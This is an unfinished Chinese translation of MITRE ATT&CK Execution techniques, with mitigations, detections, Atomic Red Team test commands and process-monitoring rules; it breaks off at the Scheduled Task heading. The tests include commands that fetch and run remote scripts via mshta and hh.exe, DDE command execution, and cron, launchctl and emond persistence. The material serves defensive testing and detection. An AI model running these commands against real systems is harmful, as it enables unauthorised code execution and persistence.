翻译 By K
（粗翻译版本，还有 powershell 技术的测试和检测规则未完成）

ID：T1155
战术：执行，横向移动
平台：macOS
所需权限：用户
数据源：API监控，系统调用，流程监控，流程命令行参数
支持远程：是的
版本：1.0

AppleScript 的

macOS 和 OS X 应用程序相互发送 AppleEvent 消息以进行进程间通信（IPC）。可以使用 AppleScript 为本地或远程 IPC 轻松编写这些消息。 Osascript 执行 AppleScript 和任何其他 Open Scripting Architecture（OSA）语言脚本。可以使用 osalang 程序找到系统上安装的 OSA 语言列表.AppleEvent 消息可以单独发送，也可以作为脚本的一部分发送。这些事件可以定位打开的窗口，发送击键，并与本地或远程的几乎任何打开的应用程序进行交互。

攻击者可以使用它与开放的 SSH 连接进行交互，移动到远程计算机，甚至向用户提供虚假的对话框。这些事件无法远程启动应用程序（它们可以在本地启动它们），但如果它们已经远程运行，则可以与应用程序进行交互。由于这是一种脚本语言，它可以用于启动更常见的技术，例如通过 python [1]的反向 shell。脚本可以从命令行通过 osascript / path / to / script 或 osascript -e“script here”运行。

缓解
在执行之前要求所有 AppleScript 都由受信任的开发人员 ID 签名 - 这将防止随机 AppleScript 代码执行[3]。 这使 AppleScript 代码与通过 Gatekeeper 的其他.app 文件一样被检查。

检测：
通过 osascript 监视 AppleScript 的执行情况，AppleScript 的执行情况可能与系统上发生的其他可疑行为有关。

ID：T1059
策略：执行
平台：Linux，macOS，Windows
所需权限：用户，管理员，SYSTEM
数据源：进程监视，进程命令行参数
支持远程：没有
版本：1.0

命令行界面　Command-Line Interface

命令行界面提供了一种与计算机系统交互的方式，并且是许多类型的操作系统平台的常见功能。 [1] Windows 系统上的一个例子，命令行界面是 cmd，它可用于执行许多任务，包括执行其他软件。 命令行界面可以通过远程桌面和反向 shell 会话等进行本地或远程交互。执行的命令以命令行界面进程的当前权限级别运行，除非该命令包含更改当前执行上下文的权限的进程调用（例如计划任务）。
攻击者可以使用命令行界面与系统交互并在操作过程中执行其他软件。

缓解：

在适当的情况下，使用白名单[113]工具（如 AppLocker，[114] [115]或软件限制策略[116]）审核和/或阻止命令行解释程序。[117]

检测：
对包含命令行参数的进程执行做好日志，就可以捕获命令行界面活动。 这些日志可以让我们对攻击者如何使用原生进程和定制工具更加的了解。

ID：T1223
战术：防御逃避，执行
平台：Windows
所需权限：用户
数据源：文件监视，进程监视，进程命令行参数
支持远程：没有
防御绕过：应用程序白名单
撰稿人：Rahmat Nurfauzi，@ infosecn1nja，PT Xynexis International
版本：1.0

Compiled HTML File　编译的 HTML 文件

编译的 HTML 文件（.chm）通常作为 Microsoft HTML 帮助系统的一部分进行分发。 CHM 文件是各种内容的压缩编译，例如 HTML 文档，图像和脚本/ Web 相关的编程语言，如 VBA，JScript，Java 和 ActiveX。 [1] CHM 内容使用 HTML 帮助可执行程序（hh.exe）加载的 Internet Explorer 浏览器[2]的基础组件显示。[3]

攻击者可能滥用此技术来隐藏恶意代码。 包含嵌入式有效负载的自定义 CHM 文件可以传送给受害者，然后由用户执行触发。 CHM 执行还可以绕过旧版和/或未修补系统上的应用程序白名单，这些系统都将 hh.exe 执行二进制文件加入了白名单。 [4] [5]

缓解：

考虑阻止下载/传输和执行一些已经被攻击者滥用的不常见的文件类型，例如 CHM 文

件。 [9]如果给定系统或网络不需要 hh.exe，也可以考虑使用应用程序白名单来阻止 hh.exe 的执行。

检测：

监视和分析 hh.exe 的执行和参数。 [4]将最近的 hh.exe 调用与已知良好参数的先前历史进行比较，以确定异常和潜在的对抗性活动（例如：混淆和/或恶意命令）。 非标准流程执行树也可能表明有可疑或恶意行为，例如 hh.exe 是可疑进程的父进程以及与其他对抗技术相关的活动。
监视 CHM 文件的出现和使用，特别是如果它们通常不在当前环境中使用的时候。

Atomic Test：

1.本地CHM
hh.exe c:\atomic-red-team\atomics\T1223\src\T1223.chm

2.远程CHM
hh.exe https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1223/src/T1223.chm

3.直接执行执行本地 chm

https://github.com/pandaof/ATT-CK-and-Atomic-Red-Team/upload/master/Execution/T1223/doc.chm

REF:
https://msitpros.com/?p=3909

规则：
hh.exe 进程监控

ID：T1196
战术：防御逃避，执行
平台：Windows
所需权限：用户，管理员，SYSTEM
数据源：API 监控，二进制文件元数据，DLL 监控，Windows 注册表，Windows 事件日志，流程命令行参数，流程监控
支持远程：没有
防御绕过：应用程序白名单，处理白名单
版本：1.0

控制面板项目　Control Panel Items

Windows 控制面板项是允许用户查看和调整计算机设置的程序。 控制面板项是注册的可执行（.exe）或控制面板（.cpl）文件，后者实际上是重命名的动态链接库（.dll）文件，用于导出 CPlApplet 函数。 [1] [2]控制面板项可以直接从命令行执行，通过应用程序编程接口（API）调用以编程方式执行，或者只需双击文件即可。 [1] [2] [3]
为了便于使用，在注册并加载到控制面板后，控制面板项会提供图形菜单。[1]
攻击者可以使用控制面板项作为有效负载来执行任意命令。 恶意控制面板项目可以通过鱼叉式攻击附件[2] [3]提供，也可以作为多阶段恶意软件的一部分执行。 [4]控制面板项目，特别是 CPL 文件，可以绕过应用程序和/或文件扩展名白名单。

缓解：

这种类型的攻击技术无法通过预防性控制而缓解，因为它是滥用操作系统设计的功能。例如，缓解特定 Windows API 调用和/或执行特定文件扩展名可能会产生意想不到的副作用，例如阻止合法软件（即驱动程序和配置工具）正常运行。应该集中精力防止攻击者工具在活动链中更早地运行以及识别后续恶意行为。

将控制面板项的存储和执行限制为受保护的目录，例如 C：\ Windows，而不是用户目录

索引已知的安全控制面板项目并使用白名单[5]工具（如 AppLocker [6] [7]）阻止潜在的恶意软件，这些工具能够审核和/或阻止未知的可执行文件。
考虑完全启用用户帐户控制（UAC）以阻止非法管理员进行系统范围的更改。 [8]

检测：
监视和分析与 CPL 文件关联的项目的活动，例如 Windows 控制面板进程二进制文件（control.exe）以及 shell32.dll 中的 Control_RunDLL 和 ControlRunDLLAsUser API 函数。当从命令行执行或单击时，control.exe 将在 Rundll32 调用 CPL 的 API 函数之前执行 CPL 文件（例如：control.exe file.cpl）（例如：rundll32.exe shell32.dll，Control_RunDLL 文件。 CPL）。 CPL 文件可以通过 CPL API 函数直接执行，只需使用后一个 Rundll32 命令，该命令可以绕过针对 control.exe 的检测和/或执行过滤器。 [2]

清查控制面板项目，以查找系统上存在的未注册和潜在恶意文件：

可执行格式注册的控制面板项有全局唯一标识符（GUID）及在注册表 HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ ControlPanel \ NameSpace 和 HKEY_CLASSES_ROOT \ CLSID {GUID}中有注册表条目。这些条目可能包含有关“控制面板”项的信息，例如其显示名称，本地文件的路径以及在“控制面板”中打开时执行的命令。 [1]
　存储在 System32 目录中的 CPL 格式注册控制面板项目将自动显示在“控制面板”中。其他控制面板项目将在 HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Control Panel 的 Cpls 和扩展属性注册键值（Extended Properties Registry keys）中具有注册条目。这些条目可能包括 GUID，本地文件

的路径以及用于以编程方式启动文件的规范名称（WinExec（“c：\ windows \ system32 \ control.exe {Canonical_Name}”，SW_NORMAL）;）或从命令行（control.exe / name {Canonical_Name}）。 [1]
某些控制面板项可通过在 HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Controls Folder{name}\ Shellex \ PropertySheetHandlers 中注册的 Shell 扩展项进行扩展，其中{name}是系统项的预定义名称。 [1]

分析新的控制面板项目以及磁盘上存在的恶意内容项目。可执行文件和 CPL 格式都是兼容的可移植可执行（PE）图像，可以靠逆向工程技术使用传统的工具和方法进行检查。 [2]

ID：T1173
策略：执行
平台：Windows
所需权限：用户
数据源：API 监控，DLL 监控，流程监控，Windows 注册表，Windows 事件日志
支持远程：没有
版本：1.0

动态数据交换 Dynamic Data Exchange

Windows 动态数据交换（DDE）是一种客户端 - 服务器协议，用于应用程序之间的一次性和/或连续进程间通信（IPC）。一旦建立了链接，应用程序就可以自动交换由字符串，热数据链接（数据项更改时的通知），热数据链接（数据项更改的重复）和命令执行请求组成的事务。

对象链接和嵌入（OLE）或在文档之间链接数据的能力最初是通过 DDE 实现的。尽管正在被 COM 取代，但可以通过注册表项在 Windows 10 和大多数 Microsoft Office 2016 中启用 DDE。 [1] [2] [3]

攻击者可以使用 DDE 执行任意命令。 Microsoft Office 文档可能会直接或通过嵌入式文件的方式[6]使用恶意 DDE 命令[4] [5]，并用于通过网络钓鱼活动或托管 Web 内容提供恶意代码执行，从而避免使用 Visual Basic for Applications（VBA）宏。当被攻陷机器无法直接访问命令行时，攻击者也可以使用 DDE 来进行恶意操作。

缓解：
特定于 Microsoft Office 功能控制安全性的注册表项可以设置为禁用自动 DDE / OLE 执行。 [3] [1] [17] Microsoft 还创建了注册表项以完全禁用 Word 和 Excel 中的 DDE 执行。[2]

确保已启用受保护的视图[18]并考虑禁用未在受保护的视图中注册的 Office 程序（如 OneNote）中的嵌入文件。 [6] [17]

在 Windows 10 上，启用攻击面减少（ASR）规则以防止 DDE 攻击和从 Office 程序生成子进程。 [19] [6]
检测：

可以扫描 OLE 和 Office Open XML 文件中的“DDEAUTO”，“DDE”以及表明 DDE 执行的其他字符串。[20]

监视 Microsoft Office 应用程序加载 DLL 和通常与应用程序无关的其他模块。

监视从 Microsoft Office 应用程序生成异常进程（如 cmd.exe）。

Atomic Test：

Open Microsoft Word
Insert tab -> Quick Parts -> Field
Choose = (Formula) and click ok.
After that, you should see a Field inserted in the document with an error "!Unexpected End of Formula", right-click the Field, and choose Toggle Field Codes.
The Field Code should now be displayed, change it to Contain the following:
{DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }

ID：T1106
策略：执行
平台：Windows
所需权限：用户，管理员，SYSTEM
数据源：API 监控，流程监控
支持远程：没有
贡献者：Stefan Kanthak
版本：1.0

通过 API 执行 Execution through API

攻击者工具可以直接使用 Windows 应用程序编程接口（API）来执行二进制文件。 诸如 Windows API CreateProcess 之类的函数将允许程序和脚本使用正确的路径和参数参数启动其他进程。[1]

可用于执行二进制文件的其他 Windows API 调用包括：[2]

CreateProcessA（）和 CreateProcessW（），
CreateProcessAsUserA（）和 CreateProcessAsUserW（），
CreateProcessInternalA（）和 CreateProcessInternalW（），
CreateProcessWithLogonW（），CreateProcessWithTokenW（），
LoadLibraryA（）和 LoadLibraryW（），
LoadLibraryExA（）和 LoadLibraryExW（），

的 LoadModule（）
LoadPackagedLibrary（）
WinExec（）
ShellExecuteA（）和 ShellExecuteW（），
ShellExecuteExA（）和 ShellExecuteExW（）

缓解：

减少特定的 API 调用可能会产生意想不到的副作用，例如阻止合法软件正常运行。应该集中精力防止攻击者工具在活动链中更早地运行以及确定后续的恶意行为。在适当的情况下，使用白名单[18]工具（如 AppLocker，[19] [20]或软件限制政策[21]）审核和/或阻止潜在的恶意软件。 [22]

检测：

监视 API 调用可能会生成大量数据，除非在特定情况下收集，否则可能无法直接用于防御，因为非恶意使用 Windows API 函数（如 CreateProcess）很常见且难以与恶意行为区分开来。将其他事件与围绕 API 函数调用的行为相关联将为事件提供额外的上下文，这可以帮助确定它是否是由于恶意行为。进程 ID 标识的相关的进程顺序活动可能就足够了。

ID：T1129
策略：执行
平台：Windows
所需权限：用户
数据源：API 监控，DLL 监控，文件监控，流程监控
贡献者：Stefan Kanthak
版本：1.0

通过模块加载执行 Execution through Module Load

Windows 模块加载程序可以从任意本地路径和任意通用命名约定（UNC）网络路径加载 DLL。此功能驻留在 NTDLL.dll 中，并且是从 Win32 API 的 CreateProcess（），LoadLibrary（）等函数调用的 Windows Native API 的一部分。 [1]

模块加载器可以加载 DLL：

通过在 IMPORT 目录中指定（完全限定或相对）DLL 路径名;

通过 EXPORT 转发到另一个 DLL，用（完全限定或相对）路径名指定（但没有扩展名）;

通过 NTFS 联结或符号链接 program.exe.local，与包含 IMPORT 目录中指定的 DLL 或转发的 EXPORTs 的目录的绝对或相对路径名;

通过嵌入式或外部“应用程序清单”。文件名是指 IMPORT 目录中的条目或转发的 EXPORT。

攻击者可以使用此功能在系统上执行任意代码。

缓解：

直接缓解与模块加载功能相关的模块加载和 API 调用可能会产生意想不到的副作用，例如阻止合法软件正常运行。应该集中精力防止攻击者工具在活动链中更早地运行，并分辨和关联后续行为，以确定它是否是恶意活动的结果。

检测：

监视 DLL 模块加载可能会生成大量数据，除非在特定情况下收集，否则可能无法直接用于防御，因为 Windows 模块加载函数的非恶意使用很常见，并且可能难以与恶意行为区分开来。合法软件可能只需要加载例程，捆绑的 DLL 模块或 Windows 系统 DLL，因此加载一些未知模块可能是可疑的。限制 DLL 模块加载目录为％SystemRoot％和％ProgramFiles％会防止模块加载不安全的路径。

使用 API 监测工具将其他事件与模块加载相关的行为，及往磁盘写入可疑ＤＬＬ相关联，将为事件提供额外的上下文，这可能有助于确定事件是否是恶意的。

ID：T1203
策略：执行
平台：Linux，Windows，macOS
数据源：防病毒，系统调用，进程监控
支持远程：是的
版本：1.0

利用客户端漏洞执行　Exploitation for Client Execution

由于不安全的编码可能导致意外行为，因此漏洞可能存在于软件中。攻击者可以通过有针对性的利用某些漏洞，以实现任意代码。攻击性工具包中最有价值的部分通常是那些可用于在远程系统上获取代码执行的攻击工具，因为它们可用于远程访问目标系统。用户希望看到与他们常用的应用程序相关的文件，它们具有很高的实用性，因此它们是漏洞利用研究和开发的有用目标。

存在几种类型：

基于浏览器的漏洞利用
Web 浏览器是 Drive-by Compromise 和 Spearphishing Link 的共同目标。通过正常的网络浏览可以攻陷端点系统，某些用户通过被鱼叉式钓鱼电子邮件中的链接定向到用于利用网络浏览器漏洞的攻击者控制的网站也可以可以攻陷端点系统。这些攻击通常不

需要用户执行任何操作。

Office 应用程序
常见的办公室和生产力应用程序（如 Microsoft Office）也通过 Spearphishing Attachment，Spearphishing Link 和 Spearphishing via Service 进行定向攻击。恶意文件将作为附件或通过链接下载来投递。这些攻击要求用户打开文档或文件以使漏洞运行。

常见的第三方应用程序
经常使用的第三方软件或者是在目标网络中部署的软件也可以用于漏洞利用。诸如 Adobe Reader 和 Flash 之类的应用程序（企业环境中常见的应用程序）一直是试图访问系统的攻击者的常规目标。根据漏洞的软件和性质，漏洞可能会在浏览器中被利用或要求用户打开文件。例如，某些 Flash 漏洞已作为 Microsoft Office 文档中的对象投递。

缓解：

浏览器沙箱可用于缓解漏洞利用的一些影响，但沙箱逃逸仍然存在。 [25] [26]

其他类型的虚拟化和应用程序微分段也可以减轻客户端漏洞利用的影响。额外漏洞和脆弱点依然存在。 [26]

查找在漏洞利用过程中使用的行为的安全应用程序（如 Windows Defender Exploit Guard（WDEG）和增强型缓解体验工具包（EMET））可用于缓解某些利用行为。[27]控制流完整性检查（Control flow integrity checking）也是识别和阻止软件利用的方法。 [28]许多这些保护依赖于体系结构和目标应用程序二进制文件的特点以实现兼容性。

检测：

根据可用的工具，检测软件漏洞利用可能很困难。还要查看端点系统上可能表明成功被攻陷的行为，例如浏览器或 Office 进程的异常行为。这可能包括向磁盘写入可疑文件，试图隐藏执行的进程注入的证据，或可能表明其他工具被传送到系统的其他异常网络流量。

ID：T1061
策略：执行
平台：Linux，macOS，Windows
所需权限：用户，管理员，SYSTEM
数据源：文件监视，进程监视，进程命令行参数，二进制文件元数据
支持远程：是的
版本：1.0

图形用户界面 Graphical User Interface

图形用户界面（GUI）是与操作系统交互的常用方式。 攻击者可能在行动期间使用系统的 GUI，而不是通过命令行界面，通过远程交互式会话（如远程桌面协议），靠鼠标双击事件搜索信息和执行文件，Windows 运行命令[1]，或其他可能难以监控的交互。

缓解：

阻止攻击者通过 Credential Access 获取对凭据的访问权限，该凭据可用于登录系统上的远程桌面会话。

识别可能用于登录远程交互式会话的不必要的系统实用程序，第三方工具或潜在的恶意软件，并使用白名单[3]工具（如 AppLocker [4] [5]和软件）审核和/或阻止它们 限制政策[6]酌情。[7]

检测：

通过 GUI 检测执行可能会导致严重的误报。 应考虑使用其他因素来检测可能导致攻击者通过交互式远程会话获得对系统访问的服务滥用。

通过远程交互会话发生的特定系统上的正常行为之外的未知或异常进程是可疑的。 收集和审核可能表明有人使用和访问合法凭证来登录远程系统的日志。

ID：T1152
战术：防御逃避，执行，坚持
平台：macOS
所需权限：用户，管理员
数据源：文件监视，进程监视，进程命令行参数
支持远程：没有
防御绕过：应用程序白名单，处理白名单，按文件名或路径列入白名单
版本：1.0

Launchctl

Launchctl 控制 macOS 启动进程，该进程处理启动代理和启动守护进程之类的事情，也可以自己执行其他命令或程序。 Launchctl 支持在命令行上以交互方式获取子命令，甚至可以从标准输入重定向。 通过加载或重新加载启动代理或启动守护进程，攻击者可以安装持久性或执行他们所做的更改[1]。 从 launchctl 运行命令就像启动提交-l - / Path / to / thing / to / execute“arg”“arg”“arg”一样简单。 加载，卸载或重新加载启动代理程序或启动守护程序可能需要高权限。

如果 launchctl 是允许的进程，攻击者可以滥用此功能来执行代码甚至绕过白名单。

缓解：

阻止用户安装自己的启动代理或启动守护程序，而不是要求它们被组策略推出。

检测：

Knock Knock 可用于检测持久性程序，例如通过 launchctl 安装的启动代理程序或启动守护程序。 此外，每个启动代理程序或启动守护程序必须在磁盘上的某个位置有一个可以被监视的对应的 plist 文件。 监控 launchctl / launchd 进程执行情况并找出不寻常或者未知的进程。

Atomic test:

Run it with `sh`!

```
launchctl submit -l evil --
/Applications/Calculator.app/Contents/MacOS/Calculator
```

ID：T1168
策略：持久性，执行力
平台：Linux，macOS
所需权限：管理员，用户，root
数据源：文件监控，流程监控
贡献者：Anastasios Pingios
版本：1.0

`Local Job Scheduling` 本地作业调度

在 Linux 和 macOS 系统上，支持多种方法来创建预调度和定期后台作业：cron，[1] at，[2]和 launchd。 [3]与 Windows 系统上的计划任务不同，除非在已建立的远程会话（如安全 shell（SSH））中结合使用，否则无法远程完成基于 Linux 系统上的作业调度。

Cron：

通过修改/ etc / crontab 文件，/ etc / cron.d /目录或 Cron 守护程序支持的其他位置来安装系统范围的 cron 作业，而使用 crontab 和特殊格式的 crontab 文件安装每个用户的 cron 作业。 [3]这适用于 macOS 和 Linux 系统。

这些方法允许在后台以特定的周期性间隔执行命令或脚本而无需用户交互。攻击者可以使用作业调度来在系统启动时执行程序，或者通过计划任务来获得持久化 ，[4] [5] [6] [7]或者作为横向移动的一部分执行程序，或者获得 root 权限，或运行在特定帐户的上下文中的进程。

At:
at 程序是基于 POSIX 的系统（包括 macOS 和 Linux）的另一种方法，用于安排程序或脚本作业以便在以后的日期和/或时间执行，这也可以用于相同的目的。

Launchd：

每个启动的作业都由不同的配置属性列表（plist）文件描述，类似于启动守护程序或启动代理，除了有一个名为 StartCalendarInterval 的附加键，其中包含时间值字典。 [3] 这仅适用于 macOS 和 OS X.

缓解：

限制用户帐户的权限并修复权限提升的向量，以便只有授权用户才能创建预定作业。使用白名单工具识别并阻止可能用于安排定时任务的不必要的系统实用程序或潜在的恶意软件。

检测：

合法的定时任务一般在安装新软件期间或通过管理功能创建。 launchd 和 cron 计划的任务，可以通过他们各自的应用列出有关作业的详细信息。 监视由 launchd 和 cron 任务启动的进程，以查找异常或未知的应用程序和行为。

Atomic Test #1 - Cron - Replace crontab with referenced file

此测试将当前用户的 crontab 文件替换为引用文件的内容。 许多物联网自动化攻击都使用了这种技术。

Command ＝ /tmp/evil.sh

tmp_cron ＝ /tmp/persistevil

```
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
```

Atomic Test #2 - Cron - 增加脚本到 cron 文件夹

Command＝echo 'Hello from Atomic Red Team' > /tmp/atomic.log
cron_script_name＝persistevil

```
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
```

Atomic Test #3 - Event Monitor Daemon Persistence：

此测试通过 plist 添加持久性，以通过 macOS 事件监视器守护程序执行。

Run it with these steps!

1. Place this file in /etc/emond.d/rules/atomicredteam.plist

name atomicredteam enabled eventTypes startup actions command /usr/bin/say user root arguments -v Tessa I am a persistent startup item. type RunCommand

2. Place an empty file in /private/var/db/emondClients/
3. sudo touch /private/var/db/emondClients/randomflag

ID：T1177
策略：执行，持久
平台：Windows
所需权限：管理员，SYSTEM
数据源：API 监控，DLL 监控，文件监控，内核驱动程序，加载的 DLL，进程监控
支持远程：没有
撰稿人：Vincent Le Toux
版本：1.0

LSASS 驱动程序　LSASS Driver

Windows 安全子系统是一组用于管理和实施计算机或域的安全策略的组件。 本地安全机构（LSA）是负责本地安全策略和用户身份验证的主要组件。 LSA 包括与各种其他安全功能相关联的多个动态链接库（DLL），所有这些功能都在 LSA 子系统服务（LSASS）lsass.exe 进程的上下文中运行。[1]

攻击者可能攻击 lsass.exe 驱动程序为来获取执行和/或持久性。 通过替换或添加非法驱动程序（例如，DLL Side-Loading 或 DLL Search Order Hijacking），攻击者可以实现由连续 LSA 操作触发的任意代码执行。

缓解：
在 Windows 8.1 和 Server 2012 R2 上，通过将注册表项 HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Lsa \ RunAsPPL 设置为 dword：00000001 来启用 LSA 保护。 [5] LSA 保护会在 LSA 插件和驱动程序使用 Microsoft 数字签名并遵守 Microsoft 安全开发生命周期（SDL）流程指南时才加载。

在 Windows 10 和 Server 2016 上，启用 Windows Defender Credential Guard [6]以在没有任何设备驱动程序的隔离虚拟化环境中运行 lsass.exe。 [7]

确保安全 DLL 搜索模式已启用，设置注册表 HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ Session Manager \ SafeDllSearchMode 以降低 lsass.exe 加载恶意代码库的风险。 [8]

检测：

启用 LSA 保护后，监视事件日志（事件 3033 和 3063），以查看加载 LSA 插件和驱动程序的失败尝试。 [5]

利用 Sysinternals Autoruns / Autorunsc 程序[9]来检查与 LSA 相关的加载驱动程序。

利用 Sysinternals Process Monitor 程序监视 lsass.exe 中的 DLL 加载操作。 [8]

ID：T1170
战术：防御逃避，执行
平台：Windows
所需权限：用户
数据源：进程监视，进程命令行参数
支持远程：没有
防御绕过：应用程序白名单
贡献者：Ricardo Dias; 星展银行进攻性安全小组 Ye Yint Min Thu Htut
版本：1.0

MSHTA

Mshta.exe 是一个执行 Microsoft HTML 应用程序（HTA）的实用程序。 HTA 文件的文件扩展名为.hta。 [1] HTA 是独立的应用程序，使用与 Internet Explorer 相同的模型和技术执行，但在浏览器之外。 [2]

攻击者可以使用 mshta.exe 通过受信任的 Windows 实用程序代理恶意.hta 文件和 Javascript 或 VBScript 的执行。在初始危险和执行代码期间，有几种不同类型威胁的利用 mshta.exe 的例子[3] [4] [5] [6] [7]

文件可以由 mshta.exe 通过内联脚本执行：mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

它们也可以直接从 URL 执行：mshta http[:]//webserver/payload[.]hta

Mshta.exe 可用于绕过不考虑其潜在用途的应用程序白名单解决方案。由于 mshta.exe 在 Internet Explorer 的安全上下文之外执行，因此它还会绕过浏览器安全设置。 [8]

缓解：
Mshta.exe 在给定环境中可能不是必需的，因为其功能与已达到使用寿命的旧版 Internet Explorer 相关联。 如果给定系统或网络不需要 mshta.exe，则应使用应用程序白名单来阻止 mshta.exe 的执行，以防止攻击者可能滥用。

检测：

使用进程监视来监视 mshta.exe 的执行和参数。 查找在命令行中执行原始或混淆脚本的 mshta.exe。 将 mshta.exe 的最近调用与已知良好参数的先前历史和已执行的二进制文件进行比较，以确定异常和潜在的对抗性活动。 在 mshta.exe 调用之前和之后使用的命令参数也可用于确定正在执行的二进制文件的来源和目的。

监控 HTA 文件的使用。 如果它们通常不在环境中使用，那么执行它们是可疑的。

Atomic Test #1

```
mshta.exe
javascript:a=(GetObject('script:https://raw.githubusercontent.com/redcanary
co/atomic-red-team/master/atomics/T1170/mshta.sct')).Exec();close();
```

规则：

logsource:

category: process_creation

product: windows

ParentImage: '*\mshta.exe'

ID：T1086
策略：执行
平台：Windows
所需权限：用户，管理员
数据源：Windows 注册表，文件监视，进程监视，进程命令行参数
支持远程：是的
版本：1.0

PowerShell

PowerShell 是 Windows 操作系统中包含的功能强大的交互式命令行界面和脚本环境。[1]攻击者可以使用 PowerShell 执行许多操作，包括发现信息和执行代码。 示例包括可用于运行可执行文件的 Start-Process cmdlet 和在本地或远程计算机上运行命令的 Invoke-Command cmdlet。

PowerShell 还可用于从 Internet 下载和运行可执行文件，这些可执行文件可以从磁盘或内存中执行而无需接触磁盘。

使用 PowerShell 连接到远程系统需要管理员权限。

有许多基于 PowerShell 的攻击性测试工具，包括 Empire，[2] PowerSploit，[3]和 PSAttack。[4]

缓解：

在不需要时可以从系统中删除 PowerShell，但需要评估对环境的影响，因为它可能用于许多合法目的和管理功能。如果需要 PowerShell，请将 PowerShell 执行策略限制为管理员，并仅执行签名脚本。需要注意的是，根据环境配置，有绕过 PowerShell 执行策略的各种方法。 [64]禁用/限制 WinRM 服务以帮助防止使用 PowerShell 进行远程执行。

检测：

如果设置了正确的执行策略，如果攻击者通过注册表或命令行获得管理员或系统访问权限，则攻击者可能能够定义自己的执行策略。系统上的策略更改可能是检测 PowerShell 恶意使用的一种方法。如果未在环境中使用 PowerShell，则只需查找 PowerShell 执行的痕迹即可检测恶意活动。

打开 PowerShell 日志记录可以在执行期间获得更高的保真度的执行记录。 [65] PowerShell 5.0 引入了增强的日志记录功能，其中一些功能已添加到 PowerShell 4.0 中。早期版本的 PowerShell 日志记录功能比较少。 [66]可以在数据分析平台中收集 PowerShell 执行细节，以补充其他数据。

Atomic Test #1

规则：

ID：T1121
战术：防御逃避，执行
平台：Windows
所需权限：用户，管理员
数据源：进程监视，进程命令行参数
支持远程：没有
绕过防御：处理白名单
贡献者：凯西史密斯
版本：1.0

Regsvcs/ Regasm

Regsvcs 和 Regasm 是 Windows 命令行实用程序，用于注册.NET 组件对象模型（COM）程序集。 两者都是由 Microsoft 进行数字签名的。 [1] [2]

攻击者可以使用 Regsvcs 和 Regasm 代理通过受信任的 Windows 程序执行代码。 这两个程序可用于通过使用二进制文件中的属性来绕过进程白名单，指定在注册或取消注册之前应运行的代码：[ComRegisterFunction]或[ComUnregisterFunction]。 即使进程在权限不足的情况下运行并且无法执行，具有注册和取消注册属性的代码也将执行。[3]

缓解：

在给定环境中可能不需要 Regsvcs 和 Regasm。 阻止执行 Regsvcs.exe 和 Regasm.exe（如果给定系统或网络不需要它们）以防止攻击者把它们用于攻击。

检测：

使用进程监视来监视 Regsvcs.exe 和 Regasm.exe 的执行和参数。 将 Regsvcs.exe 和 Regasm.exe 的最近调用与已知良好参数的记录和已执行的二进制文件进行比较，以确定异常和潜在的攻击活动。 在 Regsvcs.exe 或 Regasm.exe 调用之前和之后使用的命令参数也可用于确定正在执行的二进制文件的来源和目的。

Atomic Test #1　Regasm 卸载方法调用测试

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
/r:System.EnterpriseServices.dll /target:library
```

C:\AtomicRedTeam\atomics\T1121\src\T1121.cs

```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U T1121.dll
del T1121.dll
```

Atomic Test #2 -　Regsvs 卸载方法调用测试

file_name＝T1121.dll
source_file＝C:\AtomicRedTeam\atomics\T1121\src\T1121.cs

```
$key =
'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9Se
sUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STl
zljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZh
AJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXq
wEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+Jp
XGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/Z
Q0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmD
dehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBu
```

```
BIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIH
jkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyu
ICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
/r:System.EnterpriseServices.dll /target:library /keyfile:key.snk
#{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{file_name}
del #{file_name}
del key.snk
```

规则：

category: process_creation

selection:

CommandLine:

- '*\msdt.exe*'
- '*\installutil.exe*'
- '*\regsvcs.exe*'
- '*\regasm.exe*'
- '*\regsvr32.exe*'
- '*\msbuild.exe*'
- '*\ieexec.exe*'
- '*\mshta.exe*'

ID：T1053
策略：执行，持久性，特权升级
平台：Windows
所需权限：管理员，SYSTEM，用户
有效权限：SYSTEM，Administrator，User
数据源：文件监视，进程监视，进程命令行参数，Windows 事件日志
支持远程：是的
CAPEC ID：CAPEC-557
贡献者：Leo Loobeek，@ leoloobeek; 特拉维斯史密斯，Tripwire; Alain Homewood，失眠安全
版本：1.0

预定任务 Scheduled Task

